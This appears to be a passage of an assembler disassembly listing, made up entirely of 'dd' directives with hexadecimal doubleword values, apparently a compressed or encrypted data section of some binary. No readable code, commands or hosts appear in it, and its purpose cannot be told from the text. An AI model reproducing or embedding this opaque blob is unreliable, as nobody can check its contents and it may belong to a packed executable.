		dd 6C4FE74Dh, 37294523h, 990CC723h, 0F08A7430h,	80F3FC97h
		dd 3A6B360h, 0BFE7E18Dh, 8A31A469h, 2086C966h, 64CB2675h
		dd 99E4601h, 0FFE97AB6h, 563BEE94h, 3C058BF8h, 0B2E0B326h
		dd 5F46808Ch, 0B8F1BDE9h, 5EE394B7h, 4C051746h,	17A8203Ah
		dd 7E016E8Eh, 9DEFBD02h, 628609E3h, 88149F1Dh, 21FC07DDh
		dd 817007DDh, 0D8513AF7h, 0E665798h, 84C002A0h,	0E9C9DD80h
		dd 4ABDF117h, 1ECCD624h, 2972644h, 860FA8B6h, 0E84CFDE4h
		dd 0CF2480C4h, 0A1CE56h, 669F797Eh, 298D3370h, 96326199h
		dd 84BB6A3Ch, 28E0C9C9h, 214F4BE9h, 8E05D5FAh, 184C85B9h
		dd 4F2812Eh, 4EB22154h,	45C8240h, 820AC82Ah, 374B2E5Ah
		dd 0C968181h, 389AB1FCh, 1302201Ah, 81259529h, 0BC346A08h
		dd 1207A796h, 0C73B13CBh, 0A13BC1E6h, 0FB30076Fh, 0AD016068h
		dd 0C3F6DB8Ch, 347B0448h, 4CBC1902h, 526856C0h,	9C47A8B8h
		dd 0EE046A85h, 64DD46F5h, 85D081BEh, 2D108AAFh,	9B086847h
		dd 0F3EC18ACh, 0F08B0414h, 684F801Eh, 0F72F2661h, 0E348101h
		dd 0C1AB3650h, 286A537Dh, 85188556h, 753075C0h,	15986841h
		dd 2ADB8764h, 0C842D0A6h, 0A4684CC1h, 5A80C9E7h, 42644C20h
		dd 5B757E88h, 0B4155D94h, 15AC7054h, 4B03C727h,	0C43B092h
		dd 260FD902h, 205225F5h, 1146998Ah, 0D0026A2Ah,	0B5CA3453h
		dd 21174A91h, 6845406Dh, 0A520F797h, 9312192h, 0D50267CCh
		dd 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A4620C19h, 98463469h
		dd 75A2F863h, 292A0438h, 122AC5BDh, 0A13D2582h,	35FF6495h
		dd 0C1FC4843h, 9E732589h, 10C9B710h, 44C82309h,	0A4BEB28Bh
		dd 501312ADh, 803E2821h, 1708C889h, 8B9297D3h, 0E90B03E2h
		dd 0F84701D6h, 77601564h, 0DB293369h, 0BC07ACE8h, 0E3B0634Bh
		dd 1FE41F5h, 86D014EFh,	34D5BD89h, 33585F09h, 1B8F11BBh
		dd 0E30CC84Bh, 0D3055900h, 69CE2E0Eh, 8A680060h, 5E01BC15h
		dd 0AC04AA6Dh, 5A62EA80h, 73F81C0h, 8F64160Bh, 0C4E58805h
		dd 0A3E80427h, 90D64EE3h, 5844E472h, 512EBD40h,	709D4967h
		dd 0B4801411h, 0FB83D18Ah, 84220EB8h, 0C2810011h, 15919A34h
		dd 0AEA81EE9h, 4D498D29h, 944F7B16h, 97FA6723h,	0F08F65E6h
		dd 1924764Ch, 27A481C7h, 83039EFFh, 415B899h, 8BC3A041h
		dd 550CCE40h, 5D7EA0E8h, 97ED2481h, 838B8A3Eh, 204A281Bh
		dd 53E93989h, 4F4F5D0Ch, 0C48086DBh, 80364DE6h,	25C1EB1Eh
		dd 91CD97E5h, 0C426801Ah, 7975B464h, 0D8BA09Bh,	4806BC21h
		dd 59243E68h, 84E449A6h, 7F001DF2h, 0DC0E11B6h,	793227E7h
		dd 0DF1F02FCh, 79D5EFE5h, 83A0B74Eh, 9801A89h, 0D0AD55BDh
		dd 0A238C25Dh, 0F598E680h, 173AC968h, 0E8F2801Ah, 5EC5C0BFh
		dd 404E9809h, 4B9B906h,	0D704B800h, 5C054855h, 0D002E64h
		dd 85D465BBh, 401CBA86h, 8C3E34B6h, 0C5FE8EAh, 2FBEEEDh
		dd 564D5868h, 0AD600A75h, 9A9F1B0Dh, 0E779C56h,	0AE24DF81h
		dd 95891560h, 0DE9E0D45h, 0D3C1609Fh, 51315018h, 0D27C202Ah
		dd 0FD00FEDFh, 7D100B82h, 72FFA2h, 2CC5DECBh, 2F43BDC8h
		dd 0FCDE615Ch, 1004423Dh, 0A18830C1h, 820875Eh,	0D1C9B442h
		dd 0C1B000EEh, 0CD2D423Ch, 0CA12E3B8h, 0B490046Dh, 0AB47E9C0h
		dd 1C5B709Eh, 0DC392E31h, 70012B30h, 63007845h,	69747065h
		dd 73206E6Fh, 14667649h, 0C616D72h, 6C501E70h, 0C4735C65h
		dd 0F63202Ch, 0F8793D74h, 0F1FB68EAh, 0F166F173h, 9F72F577h
		dd 761F6412h, 705E6C9Fh, 0CC73BD7Dh, 1D3468BCh,	636C76B3h
		dd 676E1C26h, 73406763h, 0E354BA2Eh, 0EB6BEB5Eh, 0D975EB79h
		dd 4BF0D0Ah, 281901D3h,	81738070h, 5254436Eh, 0FED72B4Ch
		dd 6978CAEBh, 64B63C46h, 8AE9187Ah, 879707Bh, 2F696C8Fh
		dd 64DAF862h, 636A229h,	84DF5642h, 0FE3DFEA6h, 1E98F325h
		dd 6B63E843h, 0F4E492Ah, 4F086447h, 50E15455h, 88FE6F72h
		dd 465B0F1Dh, 0F3410F3Bh, 873DB606h, 6F1E210Fh,	348E502Ah
		dd 0B1E7718h, 0C4B0EE2Eh, 512012Dh, 0ACB2597Ah,	0B1C3848Dh
		dd 3A35657h, 0B26995F7h, 3A2642E4h, 30198517h, 75260716h
		dd 24D75116h, 65AC6761h, 10ED9667h, 34A225CFh, 0B2E9461Ch
		dd 36231C40h, 0E4851B2h, 44595423h, 593D230Eh, 45230E38h
		dd 210E3C59h, 0C30524Ch, 0E9801CF5h, 739395A2h,	22DC23BBh
		dd 0CD0DA295h, 11851012h, 218896B1h, 0B712C24h,	6E4C1CF8h
		dd 10958D2Fh, 0C1345281h, 0D4C34028h, 0F148603Bh, 0D16606F5h
		dd 5522400Ch, 139D8B2Ah, 0A4CC32Fh, 11686596h, 0A82750C4h
		dd 40085479h, 88589087h, 85C7944h, 0DC948A38h, 0AFB4DAFBh
		dd 0CD056845h, 430C5A26h, 9038213Ch, 6440C844h,	2A303234h
		dd 622A120Ah, 790621Ch,	145B1DB5h, 2409A7CBh, 2A28406Ah
		dd 0E35B5A19h, 4C0125BCh, 59EBFA0Ah, 0E9A89B18h, 0A3020B2Dh
		dd 8C245CADh, 0F6105FA7h, 0C2610C3Dh, 94E63404h, 14601983h
		dd 15F60208h, 24CC4F68h, 0F8E930C3h, 2EB58B21h,	818E3E63h
		dd 5BF083E6h, 0E8F22218h, 8127CEF2h, 3B44A1C6h,	398632B5h
		dd 51E9860Fh, 0D87920ECh, 0CF602273h, 8C66506Fh, 32409C8h
		dd 1B08C00Ah, 13892C2Ah, 85B988BBh, 934F120h, 0DB0A1886h
		dd 2C673F08h, 32F6388Bh, 0CFC62404h, 81C1F52Bh,	1DE14108h
		dd 0DDBB0719h, 70FEDC61h, 1C25C0C7h, 662AA353h,	15FCDB89h
		dd 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h,	0CBEF8353h
		dd 1A03E380h, 4B3884C3h, 0C79D7617h, 0E616AD89h, 448B3739h
		dd 229845E6h, 6AF89C5h,	0AF1C188Fh, 23199A92h, 5BBD9401h
		dd 84A3C8A2h, 923E8060h, 0BB2031EAh, 0E3AB7A1h,	0B101B076h
		dd 0ACAE8852h, 2C88A07h, 0D12032C3h, 640BAACBh,	430140D2h
		dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h,	0A7AE657h
		dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h
		dd 64DB2D32h, 0AC7A77h,	81D3D1D8h, 465ABCC3h, 3EB0376Fh
		dd 970B498Ch, 0C38B88E8h, 5B595E1Dh, 0C57B6014h, 2B1911E9h
		dd 775A2AEAh, 0E747C020h, 0FA8DF21h, 4A8D81Ah, 93BAD93Ch
		dd 280B50D3h, 8F2E6056h, 8221346Dh, 687CF64h, 8989C8BDh
		dd 2F035138h, 408B6898h, 170505FCh, 899B46F3h, 14332124h
		dd 4659FD3Ch, 3047EC1Eh, 0E9AE10C9h, 0DF69D187h, 72247648h
		dd 0C7A004Dh, 45CAB2B8h
		dd 3589A94Eh, 0E43006C0h, 46C801D1h, 820FF73Bh,	28D49F1h
		dd 289708EAh, 97284CB2h, 51560428h, 4138453h, 980C4A2Ch
		dd 2D503C67h, 4880AC9h,	13340198h, 0C3C1D832h, 5D1C2108h
		dd 5B1C4067h, 37A25E59h, 405F9802h, 0E9686D11h,	880C878Ah
		dd 0AF4431ADh, 90E8437h, 0FF80C8E8h, 38240070h,	0A7BE666Dh
		dd 0F95C5AB4h, 6850173Fh, 0D6D0B4h, 0C02BDA7Ah,	34FFC88Bh
		dd 35B103Eh, 8AD4DBEBh,	0F93E795Dh, 4D0F3E8h, 0F35ED3Ah
		dd 80378980h, 4EE7C354h, 0C0536F89h, 0EEF8C756h, 24C048Fh
		dd 978CC02Ah, 2485814h,	295AA2A6h, 47D1539Ch, 0DEE71D00h
		dd 58FE4B09h, 0C85E0FB1h, 83075ED0h, 0BF6604E8h, 0F8815FD0h
		dd 1E985934h, 0AD9F8515h, 5804C84Bh, 3FB57100h,	9C5DC6B9h
		dd 63020084h, 64DBDAB1h, 2FE81287h, 2CE17F00h, 60AAEED5h
		dd 27090091h, 0D8FC4029h, 8F032662h, 8BB210BDh,	0FEF3E8E4h
		dd 9D6003A4h, 0F2C68D7Dh, 0E7495180h, 62DACF00h, 87FAF23h
		dd 5D530A2h, 0EDF4A421h, 28973214h, 0CED8E120h,	86004B18h
		dd 326D1ADh, 76075A4h, 0CFEB4057h, 31AF3028h, 0BA7E625Eh
		dd 3D7FAA00h, 0DCB57BA0h, 0E487012Ah, 0AC2E24F5h, 0C9C01064h
		dd 0D58101C3h, 0DDA8DE98h, 3008A0E0h, 0C3B1A106h, 76B84B56h
		dd 0E1CF89CDh, 26B08542h, 3781E683h, 109FA69Eh,	3D12062Dh
		dd 0E30921FFh, 83C32382h, 0BB22C426h, 0FD083068h, 239A4121h
		dd 3C58D0E5h, 0BED68D02h, 2F478h, 69BD94F1h, 80A7E238h
		dd 99A2A1D8h, 205BA3h, 86C81B4Fh, 1263CF03h, 4162500h
		dd 0BAF3CEDCh, 0E80B600Fh, 1F522908h, 80F6D0CAh, 5AD200DCh
		dd 0E31AD7F3h, 0D801C963h, 0D3031CD4h, 0A98FF2E1h, 8580BCA5h
		dd 0FFAD2279h, 0CF401E60h, 76FB54Bh, 9A02975Fh,	6018FC78h
		dd 0E739060Fh, 0C88E2009h, 0D03EA564h, 0DC002808h, 6716E730h
		dd 620674A0h, 0DDD322E8h, 52600059h, 86922510h,	0D4009B15h
		dd 2B4185C5h, 0C8AAEFE1h, 0C7C034E8h, 46D57FC3h, 1C622C8h
		dd 2FC3AFA3h, 0D4FD10DFh, 2000D0D5h, 2A4E7E25h,	1680294h
		dd 8D6AC0Fh, 0FB4FD3DFh, 17C2890Ah, 0B021E479h,	1818C8F1h
		dd 0F2A0C001h, 0E178042Eh, 0E85178F3h, 0A7AA30B0h, 6206C411h
		dd 144D3C00h, 0A425FF01h, 0C0C1E802h, 620E6621h, 0B25C7370h
		dd 580105E0h, 0C440E388h, 0F6244FAFh, 0BB28A385h, 0A5C5F015h
		dd 0DA25037Bh, 3057AC6Dh, 1AF7823h, 4D37620Bh, 88D9180Ch
		dd 62121367h, 0DA004292h, 0F66C843Bh, 8564A08Bh, 91730FDh
		dd 3FF70411h, 0FC1FD4FCh, 27C02824h, 881B33BBh,	0D42C904Fh
		dd 0E23A429h, 0C7237E05h, 0A462CFC5h, 964520FAh, 2C005823h
		dd 36DAD8ACh, 277A3E2h,	0A2655D3Eh, 0C47A8BEh, 1B80714Fh
		dd 0F6C8ABD9h, 0C2F79D02h, 4B13E4D3h, 5E6C0354h, 7E385CF1h
		dd 85B57AD0h, 0C9C434A5h, 95704D60h, 1006C707h,	3E00376Ch
		dd 48BAD7F6h, 3424F0DAh, 468C20BCh, 237F0213h, 678089CAh
		dd 97440730h, 9A132023h, 4A0A0A96h, 0B4202846h,	99029884h
		dd 3C36CC98h, 26A108E7h, 0E72DE1C0h, 9011F88Ah,	3DCFEECh
		dd 9C13C9E2h, 0E03ADB7Bh, 0DAA118D4h, 7FA0881h,	0C19259Fh
		dd 19D2C6D5h, 28278412h, 0C35EA440h, 9822E453h,	12954614h
		dd 8C0AE73Ah, 0EE444846h, 0E731E540h, 320278B0h, 82F35851h
		dd 0D33C48C2h, 29EC63D8h, 7900EF3Dh, 24C1A20Fh,	0F233EAEh
		dd 7A6D6632h, 3C6E5400h, 0F10021CBh, 0DD25294Bh, 589B58A2h
		dd 0F31D8C1Fh, 18D8EA4Ch, 51047ACFh, 8C988523h,	1674D522h
		dd 709F5539h, 97330774h, 0D2DA48C7h, 0E14D0238h, 0A8C1525Fh
		dd 2745C479h, 0A30BEB70h, 143ACA94h, 0FBB41B8h,	34661120h
		dd 0B1D3AD86h, 724D543Bh, 0FEDFC400h, 8BF0D802h, 40710027h
		dd 1BCE7816h, 6706E48Ch, 55AFC47Ah, 4605039h, 7897503Dh
		dd 25CF0296h, 0C76AC847h, 77C380C0h, 0CE118116h, 0B5E1DC40h
		dd 0F862BB90h, 0D84F0D0Ah, 0E040F324h, 0DB018A0Ch, 0D94D16B6h
		dd 28A0417Bh, 0D4112C98h, 490764B0h, 63488E23h,	3CD2D71h
		dd 61758520h, 0BBE0A303h, 6C753689h, 2D4C800h, 0EA69478h
		dd 7EFE0034h, 69619BD5h, 8C0B1CC7h, 0DC40F9h, 0F2331D10h
		dd 8ED5038Ah, 7C314F04h, 51BC8935h, 3D29FB81h, 74233181h
		dd 82C76D71h, 10514D80h, 9DBC874Eh, 0E4B9A5B3h,	0E61FE203h
		dd 815C1804h, 9700C67Dh, 0F54A2CF8h, 0D1266B0Dh, 9401C969h
		dd 308A5BF1h, 1EE8B223h, 81386297h, 189FC1AAh, 1729E0FBh
		dd 423CCE2h, 9ACFAD70h,	1F7518B4h, 81BE1801h, 0AA948C50h
		dd 29A72101h, 0B8062C03h, 92758040h, 60A1064Fh,	298FE9BDh
		dd 35112D42h, 1FC622BAh, 8FFA0D32h, 0BFE0469Eh,	856F72E0h
		dd 4BD2907h, 3B904FDAh,	66FAA1h, 7A1793A8h, 357FD1DFh
		dd 0CA043800h, 0F0367009h, 0BAF72CD7h, 55720066h, 6D7C33AEh
		dd 9FC2EF00h, 0ACDFF810h, 5430146Eh, 97A9480h, 0D33A19E0h
		dd 0C7014280h, 130043D1h, 41CF86B4h, 0F4049FDBh, 0BB4403A4h
		dd 0DFB1CBE8h, 0A01F3080h, 0FB020F7Ch, 625E2FBAh, 11506805h
		dd 0AB100348h, 0D498B06Eh, 514BED80h, 7060E298h, 76266C19h
		dd 9EA73C72h, 8B041781h, 0F04CF0C8h, 0CA006AECh, 84570EB6h
		dd 2E70CF97h, 27ABF2h, 550C878Dh, 7C01A53Ah, 798C1949h
		dd 90DBE9ADh, 72033D9h,	0B33F713Eh, 0A608B1B4h,	50E857B5h
		dd 42962999h, 21568800h, 0F6A1A88Dh, 1B48301Ah,	0FFD39599h
		dd 58F1ED00h, 683B3CAFh, 9298E7h, 86415071h, 0F9E022B8h
		dd 0F05A0B14h, 80EA88ACh, 3D546B67h, 220E9CB7h,	0C6BF08h
		dd 0F56D05A0h, 0B07042Ch, 0C512DD74h, 91E980C6h, 3D001CEDh
		dd 4DF4ABD6h, 9203B3h, 393AAF44h, 0BDCB8D86h, 0BA785C1Ch
		dd 8EB51640h, 0F1E82ADh, 15144A54h, 900C55E7h, 24FAE662h
		dd 0F35E9400h, 5249809Bh, 149F00FCh, 516C48F4h,	1A70B4ABh
		dd 65E7EF00h, 0B77153BFh, 0A0700BEh, 0F2110387h, 1C004581h
		dd 82E57B2h, 0B8B07Ah, 0C388AAA7h, 1BEF4250h, 0F401D83Eh
		dd 0F386BB00h, 9B517CDAh, 0E4CA0692h, 30A83125h, 2EC23D00h
		dd 25E22A2h, 2783032Ch,	0BB9BB442h, 993D14A8h, 8D880A04h
		dd 0B8913981h, 1DDCD33Ch, 0F9852EF5h, 0D9A600FAh, 0DAAE5C1Fh
		dd 82757674h, 5400FE70h, 0F0627564h, 1E8CA4ACh,	0C340EFC5h
		dd 0FE162DBBh, 2CEE81A0h, 9D5FD03Eh, 8F41CFECh,	0B2E343DCh
		dd 40997892h, 3A4D6FF4h, 8600DBC4h, 0B31F7F75h,	6946AFh
		dd 959A44FDh, 3A617B20h, 0D2E8A60Eh, 121FA058h,	78F1C2h
		dd 0B0CA0A44h, 3783307Bh, 3243CE8h, 0F301C073h,	4FF02DBCh
		dd 4A0F1028h, 50401220h, 5666CE93h, 0DA868E1Eh,	0E2964C41h
		dd 44206338h, 2EF894h, 4F8A2907h, 98A2C1FEh, 49676800h
		dd 9514B91Fh, 0EF5A0293h, 46634008h, 91DD9840h,	0DA8FE400h
		dd 0F904D46Bh, 3F060BCDh, 9D564D78h, 95A92B01h,	0FCCC3510h
		dd 2A48C3B6h, 400C4D49h, 808E40FDh, 8FA700B2h, 26AC4219h
		dd 8D7C738Ch, 0EFFD7000h, 0C00F6762h, 823E001Fh, 1306464Bh
		dd 0AE0083F0h, 0A13CBB9Fh, 0FE3356h, 5B976BADh,	557CF821h
		dd 0CF53EE00h, 9C208F8Ch, 267E95h, 0A1516485h, 0FED21641h
		dd 0EE08E400h, 0E1FBC115h, 5592001Dh, 0C3D19A75h, 1C9C73F1h
		dd 0F342700h, 0F7E224h,	9BB74E55h, 646D8F21h, 4CFDE500h
		dd 6144B051h, 0E74900D7h, 0A4147583h, 5A00AE56h, 21460E37h
		dd 7C6CF0h, 0FCD8629Ch
		dd 0B03B1DAFh, 0F4776E00h, 57BA66E8h, 41B90E15h, 9352A3h
		dd 23101C08h, 0DF0F7DE0h, 23AAF1E4h, 80146B16h,	1EFE4513h
		dd 404FBB05h, 4B539E96h, 2100F3EBh, 2058D3BDh, 510AA1h
		dd 0F62CA2BBh, 4E19C3CFh, 0C02BB101h, 4D3B37C4h, 0A60D447h
		dd 0B7A466h, 6EC50717h,	5C469893h, 0BCE339h, 0AEA97BB8h
		dd 0FCFE250h, 8004D85Eh, 0F326A700h, 631C4BD0h,	41C0DDD7h
		dd 0F2971ECEh, 0B3700C8h, 0E0FC3BAFh, 0B201545Eh, 0C3F831AAh
		dd 28804415h, 0F5C1551Bh, 98170F99h, 0DE135B5Dh, 2CE4B202h
		dd 52084082h, 7C781A69h, 0B26312DAh, 970FAEB0h,	0CEEEDF00h
		dd 9D4DE1DDh, 0CA66008Dh, 36F1E351h, 0B9000D6Eh, 2A92E4ECh
		dd 25D97h, 0AC09CDD5h, 5BED8E8Ah, 66622900h, 0F6938C1Dh
		dd 54420952h, 7903E098h, 0DF9096A3h, 53007AF2h,	2F9B8A4Eh
		dd 1EAEE495h, 40A6BB29h, 5E55FBE3h, 77F613Fh, 24342024h
		dd 38A36B02h, 5408C08Dh, 425E0019h, 3A3BEDBDh, 8ECFDA13h
		dd 2980F07h, 63C10B8Ch,	8D1188BAh, 93F300B3h, 1484C8DDh
		dd 0E7005E3Eh, 21FE1DF9h, 4C8685C5h, 0F40062CAh, 0C464E0D8h
		dd 980990A4h, 687B29BCh, 1C84F2FCh, 0CBB5FE0Eh,	30A5F8AAh
		dd 4063BCD4h, 0B10034EEh, 0B8C762DDh, 0E2767Fh,	0ECC9AFD2h
		dd 5E496428h, 0F1732F01h, 9A350FE8h, 4086289Eh,	0FC8A0C60h
		dd 5D26774Fh, 0E31E9071h, 3B2247C0h, 0B76966B5h, 0A854EC0h
		dd 0C7B83400h, 0E954649Bh, 48477105h, 2603F8D8h, 4D18BCFFh
		dd 89811688h, 6D07EC01h, 61390445h, 4C92C0h, 8354A242h
		dd 0CA0C949Fh, 0CD0450F2h, 612EE15Fh, 0EAE720B0h, 18C90C2h
		dd 56D6FD9Eh, 0E89D57EAh, 72078C91h, 3AA3D908h,	0FB303E70h
		dd 0C7023CAEh, 170FA3Eh, 5895626Ch, 60DF8D9Eh, 6B267452h
		dd 0DB00A876h, 4CEE04E4h, 20AD1252h, 77FE001Bh,	0C2FF3818h
		dd 0BA020DE4h, 333D633Bh, 1770602Dh, 0E30B0586h, 0C0F8BD24h
		dd 71D3524h, 0B31E641Ch, 6E17A440h, 60152BB4h, 408EE8C5h
		dd 58009E3Eh, 48E1B618h, 0BB526Eh, 0A5811985h, 386499CAh
		dd 191374Ch, 4080CD4Fh,	8051E0DAh, 9CF0E567h, 7D1E0093h
		dd 0D76AD857h, 1500411Dh, 5887F20Ch, 112B923h, 2F7CB0BEh
		dd 40BA4782h, 0E1EC80E0h, 1ED81100h, 0D33F6B28h, 0A0DF7EF9h
		dd 25645B80h, 0F829F085h, 0D3288Eh, 0C3849438h,	0E7006A71h
		dd 9688F39h, 0B9CCEFh, 0C57CEA96h, 9392BCF1h, 576B4300h
		dd 0F45C8E22h, 0F5E00EFh, 3BBFCA1h, 700A7D1h, 0D7778AB7h
		dd 8839A6h, 4D30D228h, 0A8C0A082h, 27006892h, 7880217Ah
		dd 0CDE77C4h, 9596F8C8h, 4E789D98h, 9F0B137Eh, 22212325h
		dd 80ABA5B4h, 2CC4B20h,	0D44D3A37h, 0F6E12E00h,	6799C6E5h
		dd 0E9854417h, 7FA3A200h, 235C311h, 0DEF0DB98h,	28832425h
		dd 0BCC230B1h, 0F56CBB80h, 0FCF1358Bh, 2D01EA42h, 0CC2C77F1h
		dd 90852609h, 1BEA006h,	2B44F40h, 256C5831h, 9B302250h
		dd 180C38C0h, 3869758Ch, 0EC87CD26h, 69DC8D53h,	6163E440h
		dd 7B0C870Eh, 629DE625h, 7AAD1048h, 0A2F8071Ch,	3DC2BB45h
		dd 0EC2A2020h, 0ADE0EB99h, 15D00901h, 4801F5A3h, 82342990h
		dd 2EE1072h, 0FD22D595h, 40582431h, 9C88AC0Eh, 4E6F076Ah
		dd 703323E5h, 5CDCF928h, 0A9B4531Dh, 4F40BBDFh,	0DD0750C1h
		dd 0BE0C008Bh, 96E25136h, 9D00996Eh, 0B9940454h, 0B0B48440h
		dd 0E5381E88h, 789B4BEEh, 9671C80h, 9506153Dh, 0CBCEFF6Fh
		dd 0B96203EEh, 69EC934Ah, 313B2908h, 909F003Eh,	3CB67D20h
		dd 30ACFF2Eh, 2833303Fh, 33AE9DB5h, 30183DD7h, 0E5E75A0h
		dd 2F6B8C00h, 0E86572CFh, 231E09FFh, 0DC8018E4h, 0FBA13263h
		dd 1B7EC17h, 0E079C033h, 139BFEBh, 0FF7DA20h, 0FC011C4Dh
		dd 2C1F3ACBh, 242E71FAh, 0F84A95h, 0FFF39073h, 0F6BA533Eh
		dd 78170303h, 49C0DD6Bh, 226028CAh, 0B300CA1Fh,	995FEB1Eh
		dd 22C7E8h, 0FA7BADD2h,	0C81474EAh, 3CF02002h, 81B1A0A4h
		dd 54D1D49Ch, 43002472h, 0D2C8FD3Ah, 412AB57Ch,	723F8404h
		dd 0C2EC8730h, 84F7DB6Ah, 3780E0BAh, 8B738A98h,	0D75C00F4h
		dd 0AA0C3DC0h, 0FF008FB3h, 0B068E0EDh, 57F6719h, 0D5F78382h
		dd 72C882AEh, 5600F354h, 32C69E10h, 943500F8h, 748AD0E1h
		dd 69002548h, 0A9627134h, 0B48256A2h, 0F5060090h, 3BE596E8h
		dd 0B4AAA1C0h, 6CC0290h, 79DC89A9h, 0EC80E897h,	3E001C87h
		dd 4472B6F3h, 4B7D3A7Ah, 43A41CC4h, 9F115DF2h, 0ED53D680h
		dd 0A0965600h, 367D326Bh, 831F0699h, 30658FC4h,	0B4878B00h
		dd 7397D838h, 190B6014h, 0F80CB7FBh, 0A62D5124h, 0EB64100h
		dd 0C2CE70h, 0A57D1049h, 0F0F35E8Eh, 0B80F5F00h, 0C13A52FFh
		dd 44A04803h, 891CB707h, 0E554A286h, 4EC508C0h,	8B99053Ah
		dd 7D9847h, 0CBDB7E6Fh,	41112885h, 50779Bh, 36EA275Dh
		dd 62F0AE81h, 34B0A800h, 58BB08AAh, 1F183E4Ah, 9BA9EB81h
		dd 7CCA5375h, 78A44C1Ch, 0BBFA8F00h, 7DB5AA3Ah,	82E400F4h
		dd 4839CB0Fh, 700098E6h, 0B0A75C73h, 0EE64A68Eh, 3BCC00D6h
		dd 0EF169E21h, 7B3D67E7h, 0FC5C967Ch, 4E08B20Fh, 6240DD57h
		dd 6EAA8F1Bh, 2F6EADFh,	76A434BDh, 30E0AB5Dh, 2600172Fh
		dd 45CFC1F9h, 7FCD40h, 6E19E2FFh, 6809C210h, 4CA03C58h
		dd 940A28B8h, 0B70A2B98h, 94F17B75h, 0A5746B80h, 0C9533Dh
		dd 0EF07093Ch, 3918D0ACh, 910462FCh, 5E47B91Ah,	377901C0h
		dd 8BC048EDh, 48853207h, 8257A0BAh, 1216DEE7h, 681F24D7h
		dd 91BC9680h, 0E046690h, 2B33A9CFh, 72FAE1A0h, 0BD00374Ah
		dd 3D4B85F1h, 7C09CBh, 0D62F6731h, 0CFE9CD24h, 711648h
		dd 84B64773h, 63F59Ah, 2045C6D2h, 0AA0B2CB5h, 0BE584200h
		dd 40317664h, 727D07CBh, 222D99DCh, 27E03A1Ch, 0DE008CA1h
		dd 5FC7DF90h, 79C6F8h, 85A5506Bh, 83FFAA94h, 40109090h
		dd 4C1304F1h, 208420BDh, 6919520Ch, 0FF10770Bh,	0AA2CD8h
		dd 0CEB98460h, 26B1E186h, 9007C830h, 138089ADh,	1CFC37D9h
		dd 55B7407Eh, 4364EA08h, 0A36D530Ah, 700BC52h, 54AF6FD6h
		dd 4C1C00C1h, 0CEC8BCC4h, 623F9431h, 4BC98F77h,	258EA037h
		dd 0C0FC63DCh, 4EC25DE8h, 872E5FB1h, 75811092h,	0D243240Eh
		dd 4F0F9C20h, 21B01ECCh, 60EDFC89h, 0E6A298h, 0DE9C74A1h
		dd 0EB8F5AF8h, 842C903h, 0E8067B9Eh, 22364Dh, 89DF5793h
		dd 20BCBE28h, 584CFD07h, 0C1307EBAh, 627B01B3h,	404380A5h
		dd 30EDFC0h, 0D3798A00h, 29DB48C7h, 27990130h, 5063DDF8h
		dd 0BAEDCC9Dh, 0B8A92F00h, 7CE2F27Dh, 3ACA090Eh, 9800E445h
		dd 0F0746EC0h, 7AB0A64Ch, 10C3202Eh, 43FB813Fh,	97D94BEAh
		dd 634F8C4h, 6E513F65h,	3A00E8CFh, 137B9B5Fh, 3E23B5h
		dd 25AAB4D1h, 91C1CDF4h, 3A00C2F4h, 0DF8DD9BDh,	5F0FEDBh
		dd 0EC73A1EFh, 7B1BC056h, 0AB4AE45Bh, 4433C00h,	7EA7718h
		dd 34D247E8h, 70818705h, 6B3DF6A1h, 0BECC081Fh,	0B200E868h
		dd 0E99924F4h, 0D4A6E2h, 62470E37h, 0D6B7FE54h,	0C9291D01h
		dd 4F5C36E1h, 0B5BAB087h, 26421075h, 0AE1C8279h, 98DE1E64h
		dd 0ADE200FCh, 0B4DD4B46h, 0E17029h, 0B1429734h, 5513B69Eh
		dd 9AF2500h, 616E8599h,	0BF3407ECh, 90C13CD3h, 0EA4DD62Eh
		dd 0C7D7F817h, 0F6F1F700h, 0E7404EFh, 2A17D54h,	36F200D3h
		dd 0E4903928h, 4D7AA203h, 0D066C4C6h, 26D3011h,	6F89C90Fh
		dd 0C041385Ch, 5DA07443h
		dd 0CD0309EAh, 812E77B1h, 0B4CC7FECh, 0BB0E0014h, 36672420h
		dd 2598A207h, 0D3006A94h, 5C4727CDh, 6E003718h,	0EDC11B3Eh
		dd 417E4F71h, 25000498h, 96BB3B63h, 285279h, 81429BCh
		dd 0DCF8DA87h, 0C4D06251h, 9C0F9BB3h, 414AFE7Bh, 65FB8A20h
		dd 8E00883Ch, 0AE909E6h, 7C017912h, 8178A3C8h, 60E6AAA0h
		dd 6DE61Fh, 2A9A98B0h, 0C4658376h, 0A2A5EE04h, 0F0A0F58Bh
		dd 0BABD2615h, 5218004h, 0D076F2BFh, 0D51234B6h, 0BA4FA800h
		dd 0FBFDD723h, 0E8822880h, 735C11E1h, 0CB54BF78h, 8C008698h
		dd 1B9DBEF6h, 0EF442h, 3E56B871h, 342A91BDh, 70820F00h
		dd 0C12EEA5Fh, 263B00D6h, 0D9880914h, 7CA6FAF7h, 4D006898h
		dd 44D5944Fh, 75DF2Fh, 0DD6F458Eh, 0C779E11h, 0E781F700h
		dd 2CA6CBB5h, 0D89867h,	9ACA8F07h, 1421D69h, 41732500h
		dd 1FE0A4FAh, 0E37F00BBh, 644BFE3Ch, 2C143702h,	788A72Ah
		dd 9ADF20D5h, 0EA853A40h, 0E384A863h, 0B430C812h, 32084D18h
		dd 0B97D00DDh, 5CD5AAEFh, 0C401D087h, 0F8A8BE9Fh, 202C98A5h
		dd 0E3C8DE0Dh, 0B50AF058h, 19DC3205h, 0A0C18FD2h, 8F0DEE2h
		dd 0CC400A76h, 4E8DADDh, 0A03A8BB3h, 4D0830ECh,	40BFA077h
		dd 80211727h, 0CA3EC4EEh, 0B609748Bh, 52610489h, 0C29F3EA0h
		dd 8078D730h, 0E73E7675h, 0E6E00A1h, 2D90C535h,	0EBF50081h
		dd 4D8AC2F9h, 0C70195A7h, 0DAE9041Ch, 0CE3AD2Fh, 90DB8471h
		dd 0C6B863C8h, 3AEC4F38h, 0A09203EBh, 95D9CC4h,	0B2DB8A28h
		dd 38278100h, 0F3F89D7Fh, 49DA7E30h, 14F8E65Fh,	0ACD15307h
		dd 4FEA1680h, 8B00FA9Eh, 0C1D7D48Eh, 778686Fh, 0C5CCC896h
		dd 0D0D03DC4h, 0F30C956Ch, 405F137Dh, 87660ADh,	15E32BA3h
		dd 3E60CD0Bh, 0F81820F2h, 294F02Fh, 0B6777847h,	0E840E7BDh
